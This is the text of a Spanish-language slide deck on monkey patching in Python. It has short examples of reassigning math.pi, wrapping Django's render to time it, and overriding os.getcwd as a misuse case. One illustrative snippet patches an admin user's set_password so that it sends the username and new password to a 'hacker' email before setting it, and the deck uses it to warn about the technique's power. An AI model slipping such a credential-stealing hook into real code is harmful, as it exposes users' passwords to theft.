Monkey Patching

wadobo.com

Monkey Patching

Daniel García Moreno (@danigm)

<danigm@wadobo.com>

http://wadobo.com

Qué es el Monkey Patching

Monkey Patching

If it walks like a duck and talks like a duck, it’s a duck, right? So if this duck is not giving you the noise that you want, you’ve got to just punch that duck until it returns what you expect.

Patrick Ewing

Monkey Patching

El Moneky Patching es hacer modificaciones de clases o módulos en tiempo de ejecución, con la idea de hacer que se comporten como queremos.

Qué tenemos que tener en cuenta para el Monkey Patching

Cómo se hace el Monkey Patching

Algunos Ejemplos

            >>> import math
            >>> math.pi
            3.141592653589793
            >>> math.pi = 3
            >>> math.pi
        
            from django import shortcuts
            old_render = shortcuts.render
            def custom_render(*args, **kwargs):
                t1 = time.time()
                resp = old_render(*args, **kwargs)
                s = time.time() - t1
                print("Render time: %s seconds" % s)
                return resp
            shortcuts.render = custom_render
        
            def password_logger(self, newp):
                send_to_hacker_email(self.username + ":" + newp)
                self.real_set_password(newp)
             
            user = User.objects.get(username="admin")
            user.real_set_password = user.set_password
            user.set_password = password_logger
        

Como dijo un gran hombre:

Un gran poder conlleva una gran responsabilidad

Ben Parker

Dónde usarlo?

Usos prácticos del Monkey Patching

Cuando NO usar Monkey Patching

Mal uso

            # mpatch.py, mi lib que hace un monkey patching
            import os
            def custom_cwd():
                return "/root"
            os.getcwd = custom_cwd
        

Mal uso

            # uso el módulo mpatch en otra parte de mi código
            import os
            ...
            import mpatch
            ...
            // Esto devolverá "/root" y podría ser catastrófico
            cwd = os.getcwd()
        

Úsalo bajo tu propia responsabilidad